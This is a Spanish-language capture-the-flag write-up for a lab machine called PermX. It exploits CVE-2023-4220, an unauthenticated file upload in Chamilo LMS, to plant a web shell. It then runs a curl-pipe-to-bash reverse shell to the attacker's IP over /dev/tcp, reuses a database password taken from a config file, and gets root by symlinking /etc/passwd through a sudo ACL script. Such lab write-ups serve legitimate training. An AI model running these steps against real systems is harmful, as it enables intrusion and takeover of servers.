----------------- [ PERMX MACHINE ] ----------------- # Notas sobre la resolución de la máquina PERMX por FeathersMcgr4w [GITHUB]: https://github.com/FeathersMcgr4w/ [Lets Start!] ----- | 1 | Ejecutamos un ping para verificar si esta activa la maquina victima --> ping -c 1 10.10.11.23 ----- -> ping -c 1 10.10.11.23 -R (Trace Route) [*] ttl: 63 (Linux) => Linux (ttl=64) | Windows (ttl=128) ----- | 2 | Escaneo rápido de Puertos con NMAP ----- └─$ nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.10.11.20 -oG allPorts Puertos Abiertos: [*] Open ports: 22, 80 ----- | 3 | Obtener información detallada con NMAP: ----- (scripts de reconocimiento y exportar en formato nmap) locate .nse | xargs grep "categories" | grep -oP '".*?"' | tr -d '"' | sort -u (scripts de reconocimiento) └─# nmap -sCV -p22,80 10.10.11.20 -oN infoPorts INFO: 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 80/tcp open http Apache/2.4.52 (Ubuntu) -[*] Buscar versión de Ubuntu Googlear: OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 launchpad url: https://launchpad.net/ubuntu/+source/openssh/1:8.9p1-3ubuntu0.10 data: openssh (1:8.9p1-3ubuntu0.10) jammy <-- * TARGET * --> - - - - - - - Googlear: launchpad Apache/2.4.52 url: https://launchpad.net/ubuntu/+source/apache2/2.4.52-1ubuntu4.7 data: apache2 (2.4.52-1ubuntu4.7) jammy <-- * TARGET * --> - - - - - - - [NOTA]: Estan usando el mismo SO, muy probable que no este utilizando contenedores docker ----- | 4 | Realizamos un curl solo cabezeras ----- └─$ curl -sX GET "http://10.10.11.23" -I HTTP/1.1 302 Found Date: Mon, 04 Nov 2024 16:58:17 GMT Server: Apache/2.4.52 (Ubuntu) Location: http://permx.htb Content-Length: 277 Content-Type: text/html; charset=iso-8859-1 ----- | 5 | WHATWEB ----- └─$ whatweb 10.10.11.23 http://10.10.11.23 [302 Found] Apache[2.4.52], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.23], RedirectLocation[http://permx.htb], Title[302 Found] ERROR Opening: http://permx.htb - no address for permx.htb ----- | 6 | Aplicamos Virtual Hosting ----- nano /etc/hosts 10.10.11.23 permx.htb Le indicamos a nuestra maquina que resuelva el nombre de dominio con la dirección IP especificada. ----- | 7 | Analizar el sitio web con Ctrol+u ----- ----- | 8 | Buscar sub dominios con goBuster ----- └─$ gobuster vhost -u http://permx.htb -w /usr/share/seclists/Discovery/DNS/* -t 200 --append-domain -r * gobuster vhost : modo escaneo de vhost, busca nombres de host virtuales en el dominio * -u http://permx.htb : especifica la URL de destino * -w /usr/share/seclists/Discovery/DNS/* : especificamos lista de palabras (diccionario) * -t 200 : asignación de hilos * --append-domain : agrega el dominio especificado (-u) al fianl de cada palabra en la lista => subdominio.permx.htb * -r : evitar el uso de cache DNS. Por cada consulta, lo hace directamente al servidor DNS. Para obtener info actualizada y no cacheada. [RESULTADO]: obtenemos el siguiente subdominio: -> Found: lms.permx.htb Status: 200 [Size: 19347] ----- | 9 | Agregar el subdominio al /etc/hosts ----- sudo nano /etc/hosts 10.10.11.23 permx.htb lms.permx.htb ------ | 10 | Visitar subdominio lms.permx.htb ------ Nos encontramos con Chamilo subdomain is powered by Chamilo , a free and open-source learning management system LMS designed to facilitate online education and collaboration. -[*] Googlear un exploit para Chamilo: [GOOGLEAR]: Chamilo exploit or Chamilo vulnerability [RESULT]: CVE-2023-4220 Description: Unrestricted file upload in big file upload functionality in `/main/inc/lib/javascript/bigupload/inc/bigUpload.php` in Chamilo LMS <= v1.11.24 allows unauthenticated attackers to perform stored cross-site scripting attacks and obtain remote code execution via uploading of web shell. [URL]: https://starlabs.sg/advisories/23/23-4220/ [POC]: $ echo '' > rce.php $ curl -F 'bigUploadFile=@rce.php' 'http:///main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported' The file has successfully been uploaded. $ curl 'http:///main/inc/lib/javascript/bigupload/files/rce.php' uid=33(www-data) gid=33(www-data) groups=33(www-data) Exploit Conditions An unauthenticated attacker is expected to be able to execute this exploit scenario reliably if the /main/inc/lib/javascript/bigupload/files directory exists within the web root directory and is writable by the webserver. ------ | 11 | Explotación de CVE-2023-4220 ------ [*] Creamos archivo .php -> $ echo '' > rce.php [*] Ejecutar POST request to the upload endpoint (curl -F simula un formulario) └─$ curl -F 'bigUploadFile=@rce.php' 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported' The file has successfully been uploaded. [*] Subimos nuestro archivo .php └─$ curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php' [NOTA]: ejecutamos el curl sobre el directorio donde tengamos accesible el fichero rce.php [*] Ejecutar parametro └─$ curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php?cmd=whoami' www-data └─$ curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php?cmd=id' uid=33(www-data) gid=33(www-data) groups=33(www-data) ------ | 12 | Obtención de shell (Triangulada) ------ - Creamos index.html (código spawn de shell) - Levantamos servidor Python3 - Escuchamos con Netcat - curl a la URI vulnerable 1. Creamos fichero "index.html" #!/bin/bash bash -i >& /dev/tcp/10.10.16.4/443 0>&1 2. Levantar servidor Python └─$ python3 -m http.server 80 3. Levantar Netcat └─$ nc -lvnp 443 4. curl a la URI y a nuestro python server curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/rce.php?cmd=curl+10.10.16.4|bash' 5. Obtención de shell └─$ nc -lvnp 443 listening on [any] 443 ... connect to [10.10.16.4] from (UNKNOWN) [10.10.11.23] 57382 bash: cannot set terminal process group (1190): Inappropriate ioctl for device bash: no job control in this shell www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ ------ | 13 | Tratamiento de consola ------ script /dev/null -c bash Ctrol+z stty raw -echo; fg reset xterm (enter) export TERM=xterm export SHELL=/bin/bash stty rows 44 colums 184 ------ | 14 | Inspección ------ www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ whoami www-data www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ ls -l /home/ total 4 drwxr-x--- 4 mtz mtz 4096 Jun 6 05:24 mtz www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ sudo -l www-data@permx:/var/www/chamilo/main/inc/lib/javascript/bigupload/files$ cat /etc/passwd | grep "bash$" root:x:0:0:root:/root:/bin/bash mtz:x:1000:1000:mtz:/home/mtz:/bin/bash ------ | 15 | Buscar archivo de config ------ [pwd]: /var/www/chamilo/main/inc/lib/javascript/bigupload/files [pwd]: /var/www/chamilo find . -name \*config\* ./app/config ./app/config/config_dev.yml ./app/config/config_prod.yml ./app/config/config.yml ./app/config/configuration.php <-- *TARGET* --> www-data@permx:/var/www/chamilo/app/config$ cat configuration.php | grep -B 10 "db_password" // Database connection settings. $_configuration['db_host'] = 'localhost'; $_configuration['db_port'] = '3306'; $_configuration['main_database'] = 'chamilo'; $_configuration['db_user'] = 'chamilo'; <-- *TARGET* --> $_configuration['db_password'] = '03F6lY3uXAP2bkW8'; <-- *TARGET* --> Acceder y navegar por MYSQL: www-data@permx:/var/www/chamilo/app/config$ mysql -uchamilo -p Enter password: 03F6lY3uXAP2bkW8 MariaDB [(none)]> show databases; MariaDB [(none)]> use chamilo MariaDB [chamilo]> show tables; MariaDB [chamilo]> describe user; MariaDB [chamilo]> select username,password from user; admin | $2y$04$1Ddsofn9mOaa9cbPzk0m6euWcainR.ZT2ts96vRCKrN7CGCmmq4ra anon | $2y$04$wyjp2UVTeiD/jF4OdoYDquf4e7OWi6a3sohKRDe80IHAyihX0ujdS MariaDB [chamilo]> Ctrol+d (para salir de la DB) ------ | 16 | Acceder a usuario "mtz" ------ www-data@permx:/var/www/chamilo/app/config$ su mtz Password: 03F6lY3uXAP2bkW8 ------ | 17 | Obtener 1° FLAG ------ mtz@permx:~$ pwd /home/mtz mtz@permx:~$ ls -l total 4 -rw-r----- 1 root mtz 33 Nov 5 14:41 user.txt mtz@permx:~$ cat user.txt 4236d40ecb2e28fac749c50f560187e8 ------ | 18 | Ver privilegios con sudo -l ------ mtz@permx:~$ sudo -l Matching Defaults entries for mtz on permx: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User mtz may run the following commands on permx: (ALL : ALL) NOPASSWD: /opt/acl.sh [ANALISIS]: cat /opt/acl.sh #!/bin/bash if [ "$#" -ne 3 ]; then /usr/bin/echo "Usage: $0 user perm file" exit 1 fi user="$1" perm="$2" target="$3" if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then /usr/bin/echo "Access denied." exit 1 fi # Check if the path is a file if [ ! -f "$target" ]; then /usr/bin/echo "Target must be a file." exit 1 fi /usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target" Lo que hace el script es: 1. Verificar que se introduscan si o si 3 parametros 2. Verifica si el recurso ingresado por argumento coinside con este directorio = /home/mtz/* (si o si, tiene que estar aca) 3. Verifica si el archivo ingresado por argumento es realmente un archivo - - - -[*] ¿Qué es setfacl? Las ACL en Linux son, como en cualquier otro sistema operativo, listas de control de acceso (Access Control List) que nos permiten especificar que usuarios, grupos o procesos del sistema se les otorga unos permisos específicos a los objetos, como pueden ser directorios o ficheros del sistema. Por defecto en los sistemas de ficheros ext* las ACL ya se encuentran habilitadas. Existen dos comandos para su gestión: getfacl: Muestra información de los permisos de ficheros y carpetas. setfacl: Establece o modifica las ACL de dichos ficheros y carpetas. [EXAMPLE]: setfacl -m u:john:rwx myfile.txt ------ | 19 | Explotación ------ -[*] Aqui nos podemos aprovechar de editar el /etc/passwd o el /etc/sudoers, mediante un enlace simbolico y editar con nano Primeramente tenemos que realizar un enlace simbolico de '/etc/passwd' para despues pasarselo al "/opt/acl.sh" y que nos eleve privilegios! * Enlace Simbólico: actua como un puntero a un archivo o directorio. Contiene una referencia (la ruta/ ubicación) a otro archivo. * Enlace Físico: apunta directo a los datos en disco de un archivo. 1. Escritura en la ruta -> /home/mtz/ -> Creamos un enlace simbolico a /etc/passwd mtz@permx:~$ ln -s /etc/passwd passwd mtz@permx:~$ ls -l total 4 lrwxrwxrwx 1 mtz mtz 11 Nov 5 19:42 passwd -> /etc/passwd 2. Asignamos permisos "rwx" a usuario mtz con /opt/acl.sh a nuestro archivo "passwd" -> mtz@permx:~$ sudo /opt/acl.sh mtz rwx /home/mtz/passwd 3. Crear clave con openssl -> mtz@permx:~$ openssl passwd (generar contraseña encriptada) * Generar una coontraseña (password: 1234) * Colocar el hash dentro del fichero passwd 4. Editar con nano -> mtz@permx:~$ nano passwd root:$1$/hqBmQnA$Du3zPedBsTZ4mtl83.sfM.:0:0:root:/root:/bin/bash (contraseña hasheada) 5. Acceder a usuario root -> mtz@permx:~$ su root password: 1234 root@permx:/home/mtz# cd /root/ root@permx:~# ls -l total 12 drwxr-xr-x 2 root root 4096 Jun 5 12:25 backup -rwxr-xr-x 1 root root 354 Jun 6 05:25 reset.sh -rw-r----- 1 root root 33 Nov 5 14:41 root.txt root@permx:~# cat root.txt adad4c5a3790f303bf94b219f361b6d4